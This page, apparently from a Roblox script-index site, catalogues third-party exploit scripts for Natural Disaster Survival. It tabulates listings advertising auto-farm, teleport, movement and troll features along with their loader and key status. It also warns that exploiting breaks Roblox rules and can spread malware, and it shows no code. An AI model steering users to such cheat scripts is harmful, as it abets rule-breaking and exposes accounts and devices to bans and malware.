The developer’s game description says: “Quickly, run around in circles! Your life depends on it!” Running and survival provide the clearest developer-described context for movement claims. The description does not specify disaster schedules, rewards, equipment effects or an automation loop. Script titles cannot fill those gaps on the developer’s behalf.
Our 26 October 2026 Roblox snapshot identifies root place 189707 and creator Stickmasterluke. The experience was created on 28 March 2008, and its last-updated field reads 17 September 2026. Those fields help identify the game and date the reference; they do not identify changes to individual mechanics or compatibility with third-party code.
A movement title therefore belongs beside a question about what movement it claims to change. An auto-farm title needs an explanation of the repeated action and intended result. Neither label justifies adding a reward currency, survival counter or destination list that the description does not document. The following comparison keeps those missing details visible.
The source-checking process explains how a listing receives its separate status label.
Natural Disaster Survival listings are matched to the game, deduplicated and screened as text. Our 26 October 2026 check contains 162 listings, with 114 copyable entries. Copyability reflects indexing requirements, including attribution and publication rights; the feature claims still belong to their uploaders.
ScriptBlox’s public API provides listing titles, uploader accounts, game identifiers, publication dates and descriptions. Our fetches record HTTP responses, content sizes and hashes, alongside observations about obfuscation, nested loaders, key-system hosts and red-flag patterns. The source-checking methodology explains the process and its limits.
The status vocabulary separates different observations:
Static screening is not a security audit. A successful HTTP response answers a retrieval question; a scan result describes the text examined. Neither observation supplies missing descriptions of movement controls or automation behavior. The comparison table pairs those observations with the claims they can actually accompany.
Natural Disaster Survival’s copyable entries include the eight listings below. The selection illustrates differences in source readability, key requirements and advertised scope, rather than ranking gameplay performance. Names preserve uploader wording. “Not specified” means the feature field does not provide a category, even if the title suggests an effect.
| Listing | Our status | Key | Uploader-claimed features | Listed date | Honest verdict |
|---|---|---|---|---|---|
| I was here | loader reachable | unknown | Not specified | 2022-06-12 | A reachable target leaves both concealed behavior and feature scope unanswered. |
| NDS Hub | loader reachable | unknown | Not specified | 2024-10-04 | The game-related name adds no missing feature specification. |
| Ring Parts / Tornado Null Fire | loader reachable | unknown | movement | 2024-12-07 | The movement category does not establish the title’s named effects. |
| Comprehensive | loader reachable | unknown | auto-farm | 2022-01-03 | Farming is advertised without a demonstrated action or yield. |
| Auto Farm | statically screened | required | auto-farm | 2022-08-27 | Readable text and a required key answer separate questions. |
| Axe Hub | loader reachable | unknown | movement, troll | 2025-03-16 | Broad categories leave targets and effects unspecified. |
| Clientsided Balloon Giver | statically screened | unknown | Not specified | 2022-01-02 | The title does not establish server-recognized item ownership. |
| Six Hub | loader reachable | unknown | auto-farm, teleport, movement | 2024-01-09 | Three advertised categories still leave destinations and automation scope unclear. |
Comprehensive and Auto Farm share the auto-farm category, but differ in readability and access information. Auto Farm has a required-key label and statically screened status; Comprehensive has an unknown key label and loader reachable status. A comparison based only on their farming titles would lose both differences.
I was here and NDS Hub show another limitation: a title can attract attention without explaining its features. Their targets responded, but the feature field supplies no categories. Start with a listing that actually describes the action you are researching, then identify what remains unanswered about that description.
Listed dates identify publication on ScriptBlox. A remote file may change separately, so the oldest publication is not necessarily the oldest fetched code. Conversely, a recent source fetch cannot establish that the publisher adapted to the game’s September update. Feature wording deserves its own assessment before comparing dates.
Movement labels advertise changes to how a character moves; teleport labels advertise a change of position; auto-farm labels advertise a repeated action. These categories describe uploader claims. Natural Disaster Survival’s short developer description supports a running-and-survival context without documenting the detailed systems those claims might target.
Ring Parts / Tornado Null Fire advertises movement. Six Hub combines movement with teleport and auto-farm. Comparing the two means separating travel controls from a repeated action, rather than treating every feature as another way to express survival. Neither row supplies verified destinations, speed settings or disaster-specific effects.
ESP appears elsewhere among this game’s uploader feature categories. The label generally advertises an information display, but the category alone does not say what gets highlighted. A useful description would identify the displayed object and intended information. Without that detail, an ESP label cannot establish advance disaster warnings or an accurate view of hidden objects.
A title mentioning no fall damage or flying likewise expresses a claim about an effect. The title does not establish when the effect applies, who can observe it or whether the game accepts the resulting state. Reading those boundaries is more useful than assuming every movement-related promise has the same scope.
A Natural Disaster Survival auto farm script advertises repetition, but “farm” alone leaves the action and intended result unspecified. Comprehensive, Auto Farm and Six Hub all carry this category. Our data does not establish a reward rate, survival success rate, duration or comparison with ordinary play for any of them.
Ask which action repeats, what starts the repetition and what result the uploader names. If the description leaves the result unstated, keep it unstated in your comparison. Combining teleport with auto-farm, as Six Hub does, does not establish where the character goes or whether travel contributes to a recognized reward.
Roblox’s client-server security guidance tells developers to validate client requests affecting progression, shared state and rewards. That general principle explains why a client-side effect cannot establish an accepted reward. The guidance does not reveal how Stickmasterluke implemented this experience.
Troll and god-mode occur in uploader descriptions for this collection. Troll leaves the target and effect broad; god-mode advertises protection without establishing it. Axe Hub’s movement-and-troll categories provide no basis for promising control over another player or immunity to a disaster. Read the missing conditions as unresolved.
Clientsided Balloon Giver illustrates a different boundary. Its name describes a client-side item claim, while its feature field is unspecified. The listing does not establish persistent ownership, visibility to other players or an item effect recognized by the server. A displayed object and a game-accepted item require different evidence.
The collection also contains a listing titled Dupe Rod Of The Depths Ghost Clone Auto Reel and more, with auto-fish among its categories. That wording does not document fishing mechanics in Natural Disaster Survival. Game matching and a broad feature list can coexist with wording whose relevance remains unexplained. Check game-specific meaning before comparing access requirements.
A Natural Disaster Survival script no key search cannot establish an entry’s access requirement from a title alone. Key-system markers appeared in 5% of this game’s listings, while obfuscation appeared somewhere in 38% of fetched chains. These measurements describe different attributes and do not measure gameplay success.
The key percentage records detected markers, not a percentage of listings independently confirmed to require no key. Unknown requirements remain unknown. Auto Farm’s required-key label also demonstrates that readable text can accompany an access gate; readability and access are separate fields.
Obfuscation conceals instructions. A short readable opening may retrieve a protected later stage, so inspecting the opening leaves that continuation unresolved. Loader reachable preserves that distinction between retrieving a response and understanding its contents. An attractive title cannot make the concealed stage inspectable.
Keep three questions separate: did the target respond, could the text be read, and what access requirement was identified? A change in any one answer deserves its own dated observation. A missing response introduces the availability problem described next.
Natural Disaster Survival’s excluded ledger contains 24 dead loaders. Our 26 October 2026 check includes dead targets on GitHub’s raw-file host and Pastebin, alongside other hosts. Tbao Hub and N. D. Hub are among the excluded dead entries. Their names do not explain why those targets disappeared.
A Natural Disaster Survival script Pastebin query identifies a hosting preference, not a source status. The collection includes the Pastebin-hosted c00lkidds trolling of nds with loader reachable status and Natural disasters with statically screened status and a required key. The dead ledger separately includes Pastebin targets. Assess the exact address rather than the service’s name.
Removed files, changed paths or deleted repositories can break a loader’s dependency. Those are possible mechanisms, not confirmed explanations for each missing target. An empty or missing response establishes the observed failure without identifying the publisher’s reason. The source-verification process helps preserve that distinction.
A text-only check records the exact target, response and inspection limits. The script source-verification guide expands the process. Keep the listing identity beside the fetched address so that similarly named uploads do not become indistinguishable.
A newer result may differ from the dated card because a remote resource changed. Preserve both addresses and dates before comparing responses. Source inspection still leaves the platform rules below in force.
Using third-party scripts or executors to exploit Roblox breaks its Terms of Use, and accounts can be banned. Roblox Support’s Cheating and Exploiting guidance states that exploiting violates the rules and leads to account deletion. The developer’s short game description contains no anti-exploit warning; that absence grants no exception.
Our checks fetch loaders as text and never run them; a status is not proof a script works. Static screening does not establish account outcomes. Our data contains no ban probability, enforcement schedule or account-specific prediction for Natural Disaster Survival.
Roblox Support also warns that exploit offers may distribute malware or phishing programs capable of stealing personal information. A reachable text target does not establish the trustworthiness of software advertised beside it. Account and device risks therefore remain separate from the HTTP response recorded for a loader.
The account bans and exploits guide explains these distinctions for players and parents. Researching a listing can clarify what was advertised and retrieved without accepting its performance promises. The related collections offer the same kind of game-specific context.
The DOORS script collection offers another place to investigate listings associated with Infinite Yield in our catalogue. A shared hub association does not establish identical code, controls or features across experiences. Preserve the exact game-matched listing while comparing names.
The Brookhaven script collection and RIVALS script collection provide two further game collections associated with that hub identity in our data. Follow those pages when researching the same name across games, while keeping each game’s advertised actions separate. The association does not establish which individual listing is copyable.
A Natural Disaster Survival script comparison should finish with five details in view: exact listing identity, claimed action, key requirement, source status and relevant dates. Use the cards for attributed loader text and the excluded ledger for entries without copyable cards. Leave missing destinations, automation outcomes and concealed stages unresolved rather than letting a familiar name supply the answer.
A copyable card identifies an indexed listing and its attribution. A ScriptBlox uploader is the account that published that listing, which does not establish authorship of every remote file. Compare the uploader, target address and repository owner separately before treating a familiar name as the person responsible for the code.
Unknown means the access requirement remains unresolved. The absence of a detected key-system marker does not establish that every later stage is accessible without a key. Keep an uploader’s no-key claim separate from the key field, especially when the fetched chain contains protected material that cannot be read.
A mobile label records an uploader’s device claim. Our text checks do not measure controls, interface layout, performance or compatibility on a phone. Read whether the listing explains those details, and leave them unverified when it does not. Device advertising also leaves Roblox’s prohibition on exploiting unchanged.
redzhub.dev is an independent script index. Our catalogue associates Redz Hub with Blox Fruits, while Infinite Yield appears among Natural Disaster Survival’s named hub matches. Neither the website name nor a similar listing title establishes support by a particular developer. Game-specific source information is needed for that conclusion.
An excluded entry can have a statically screened result because text readability is only one indexing consideration. The ledger also contains dead, unknown, loader reachable and flagged entries. Read each entry’s reason rather than assuming every exclusion means a missing URL or that every readable response qualifies for a copyable card.
Last editorial review: · redzhub.dev editorial · How we check scripts